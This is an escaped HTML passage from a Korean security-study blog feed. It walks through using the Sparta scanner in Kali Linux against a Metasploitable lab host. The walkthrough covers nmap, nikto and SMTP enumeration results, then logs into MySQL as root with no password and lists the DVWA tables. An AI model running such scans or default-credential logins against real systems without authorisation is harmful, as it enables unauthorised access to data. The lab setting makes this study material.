&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;650&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZT5UI/btqHzECTnAz/oMZSPsex15oeldwUpZiMJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZT5UI/btqHzECTnAz/oMZSPsex15oeldwUpZiMJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZT5UI/btqHzECTnAz/oMZSPsex15oeldwUpZiMJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZT5UI%2FbtqHzECTnAz%2FoMZSPsex15oeldwUpZiMJ0%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;650&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 메타스플로잇 터블 ip를 입력한다.&lt;/p&gt;
&lt;p&gt;(ip입력은 입력 칸 밑과 같이 전범위로 입력해도 된다.)&lt;/p&gt;
&lt;p&gt;체크박스 부분을 보면 Run nmap host discovery가 있는데 그것은 네트워크 범위 전체를 입력했을 때 호스트 검색을 하는 옵션이다.&lt;/p&gt;
&lt;p&gt;그리고 Run staged nmap scan가 있는데 그것은 포트가 검색이 되었을 때 각 포트에서 추가적으로 검색을 할 건가 라는&amp;nbsp;&lt;/p&gt;
&lt;p&gt;옵션이다.&lt;/p&gt;
&lt;p&gt;이것을 다 체크하고 실행해보겠다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coJF2K/btqHBy9MCen/H7PP8Nqfshl4ZdsF9OgysK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coJF2K/btqHBy9MCen/H7PP8Nqfshl4ZdsF9OgysK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coJF2K/btqHBy9MCen/H7PP8Nqfshl4ZdsF9OgysK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoJF2K%2FbtqHBy9MCen%2FH7PP8Nqfshl4ZdsF9OgysK%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;659&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;실행을 해보면 namp이 먼저 실행되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;673&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mzj6z/btqHLeWlOqL/HPtJJfwKmV1RuRKl8467nk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mzj6z/btqHLeWlOqL/HPtJJfwKmV1RuRKl8467nk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mzj6z/btqHLeWlOqL/HPtJJfwKmV1RuRKl8467nk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmzj6z%2FbtqHLeWlOqL%2FHPtJJfwKmV1RuRKl8467nk%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;673&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 실행하다 보면 이런 창이 뜨는데 그냥 무시하고 창을 껐다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI4SHF/btqHAVKTzY0/S54IG7VWhW7DPbeVAZNTK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI4SHF/btqHAVKTzY0/S54IG7VWhW7DPbeVAZNTK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI4SHF/btqHAVKTzY0/S54IG7VWhW7DPbeVAZNTK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI4SHF%2FbtqHAVKTzY0%2FS54IG7VWhW7DPbeVAZNTK1%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Services 부분을 보면 각 포트별의 서비스 버전을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dl4h7T/btqHAWiISVV/wu9FMhDgsjsvlwQdw9E3K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dl4h7T/btqHAWiISVV/wu9FMhDgsjsvlwQdw9E3K1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dl4h7T/btqHAWiISVV/wu9FMhDgsjsvlwQdw9E3K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdl4h7T%2FbtqHAWiISVV%2Fwu9FMhDgsjsvlwQdw9E3K1%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;679&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 위의 사진과 같이 ftp에 오른쪽 마우스를 클릭해서 Run nmap을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;685&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vz75O/btqHLZkrhMC/dgRgD5GjTrdTcmFZpkppA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vz75O/btqHLZkrhMC/dgRgD5GjTrdTcmFZpkppA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vz75O/btqHLZkrhMC/dgRgD5GjTrdTcmFZpkppA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvz75O%2FbtqHLZkrhMC%2FdgRgD5GjTrdTcmFZpkppA1%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;695&quot; width=&quot;685&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 Scripts옵션에 들어가면 ftp-anon 스크립트가 실행되었고 내용은 Anonymous FTP로 로그인이 가능하다는 정보를 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HbK9x/btqHT06pB7T/PAf099U7G23ZfU34Uoeni1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HbK9x/btqHT06pB7T/PAf099U7G23ZfU34Uoeni1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HbK9x/btqHT06pB7T/PAf099U7G23ZfU34Uoeni1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHbK9x%2FbtqHT06pB7T%2FPAf099U7G23ZfU34Uoeni1%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 information탭에서는 운영체제 같은 정보를 확인 할 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HuPjZ/btqH50wCpTx/unUa2D40oE6YwFxKcAoRg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HuPjZ/btqH50wCpTx/unUa2D40oE6YwFxKcAoRg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HuPjZ/btqH50wCpTx/unUa2D40oE6YwFxKcAoRg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHuPjZ%2FbtqH50wCpTx%2FunUa2D40oE6YwFxKcAoRg0%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;686&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;notes 탭에는 알아낸 정보 같은 것을 기록하는 데 사용한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/svekF/btqH0qpxL1l/n2Yzav6U2iRxaIKadTDoZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/svekF/btqH0qpxL1l/n2Yzav6U2iRxaIKadTDoZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/svekF/btqH0qpxL1l/n2Yzav6U2iRxaIKadTDoZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsvekF%2FbtqH0qpxL1l%2Fn2Yzav6U2iRxaIKadTDoZK%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;687&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;nikto탭은 80번 포트를 찾았을 때 자동으로 nikto를 실행한 결과를 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;690&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eh8fPs/btqHZID4Ejx/Y8SlnA7ECSqTc0G4fGhYk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eh8fPs/btqHZID4Ejx/Y8SlnA7ECSqTc0G4fGhYk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eh8fPs/btqHZID4Ejx/Y8SlnA7ECSqTc0G4fGhYk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feh8fPs%2FbtqHZID4Ejx%2FY8SlnA7ECSqTc0G4fGhYk0%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;690&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 탭은 말 그대로 스크린숏을 자동으로 찍은 것이다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;688&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFREq3/btqHZkJWcc3/H8GkI53GjTtMk2qyfqC9t1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFREq3/btqHZkJWcc3/H8GkI53GjTtMk2qyfqC9t1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFREq3/btqHZkJWcc3/H8GkI53GjTtMk2qyfqC9t1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFREq3%2FbtqHZkJWcc3%2FH8GkI53GjTtMk2qyfqC9t1%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;688&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;smpt포트를 찾으면 자동으로 smtp-enum-vrfy를 실행하고 결과를 출력해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;692&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UwfLe/btqH2dDuwmv/47eZMLD6PrBK5X12v7XzeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UwfLe/btqH2dDuwmv/47eZMLD6PrBK5X12v7XzeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UwfLe/btqH2dDuwmv/47eZMLD6PrBK5X12v7XzeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUwfLe%2FbtqH2dDuwmv%2F47eZMLD6PrBK5X12v7XzeK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;692&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;데이터베이스가 실행되어있다면 위의 결과처럼 출력이 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;Inked6_LI.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;694&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PDPTo/btqH2eoSfkM/aVAsF1pGiE88quXJFcrReK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PDPTo/btqH2eoSfkM/aVAsF1pGiE88quXJFcrReK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PDPTo/btqH2eoSfkM/aVAsF1pGiE88quXJFcrReK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPDPTo%2FbtqH2eoSfkM%2FaVAsF1pGiE88quXJFcrReK%2Fimg.jpg&quot; data-filename=&quot;Inked6_LI.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;694&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;데이터베이스에서 root 디폴트 계정이 사용되었다는 것이 출력되었다.&lt;/p&gt;
&lt;p&gt;이것을 바로 유용하게 활용이 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;696&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1jtpg/btqH4sGWmhE/mvkmvuScmQDNGlJloAY6s1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1jtpg/btqH4sGWmhE/mvkmvuScmQDNGlJloAY6s1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1jtpg/btqH4sGWmhE/mvkmvuScmQDNGlJloAY6s1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1jtpg%2FbtqH4sGWmhE%2FmvkmvuScmQDNGlJloAY6s1%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;696&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 mysql -h 대상의 ip -u root라고 명령을 입력한다.&lt;/p&gt;
&lt;p&gt;그럼 간단하게 위와 같이 데이터베이스에 접속이 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;695&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmpzyQ/btqH0pKZnHc/R8oGkilCCbZDikskAxLBqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmpzyQ/btqH0pKZnHc/R8oGkilCCbZDikskAxLBqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmpzyQ/btqH0pKZnHc/R8oGkilCCbZDikskAxLBqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmpzyQ%2FbtqH0pKZnHc%2FR8oGkilCCbZDikskAxLBqk%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;695&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 show databases;이라고 입력하면 데이터베이스들을 확인 가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csCr1c/btqH0pRFKAe/pHxwINjZlh729kGMCdH2F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csCr1c/btqH0pRFKAe/pHxwINjZlh729kGMCdH2F0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csCr1c/btqH0pRFKAe/pHxwINjZlh729kGMCdH2F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsCr1c%2FbtqH0pRFKAe%2FpHxwINjZlh729kGMCdH2F0%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;713&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;원하는 데이터 베이스를 선택(use dvwa;)하고 그 안의 테이블(show tables;)도 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이것으로 Sparta는 스캐닝에 있어서 아주 간편하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;이것은 방어하는 입장에서도 유용하다.&lt;/p&gt;
&lt;p&gt;내부 직원들이 어떠한 포트를 열고 있는지 쉽게 확인할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;손쉽게 취약점을 찾을 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>ip주소활용법</category>
      <category>sparta</category>
      <category>액티브스캐닝</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>포트검색</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/64</guid>
      <comments>https://geru.tistory.com/64#entry64comment</comments>
      <pubDate>Sat, 5 Sep 2020 15:48:00 +0900</pubDate>
    </item>
    <item>
      <title>[액티브스캐닝] 웹 스캐닝</title>
      <link>https://geru.tistory.com/63</link>
      <description>&lt;p&gt;이번엔 구동 중인 웹서버의 정보를 수집해보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;1.PNG&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pehCi/btqHxbN4fCl/cdIwRxwEPpOkL2F2mvcKOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pehCi/btqHxbN4fCl/cdIwRxwEPpOkL2F2mvcKOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pehCi/btqHxbN4fCl/cdIwRxwEPpOkL2F2mvcKOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpehCi%2FbtqHxbN4fCl%2FcdIwRxwEPpOkL2F2mvcKOK%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;1.PNG&quot; width=&quot;682&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 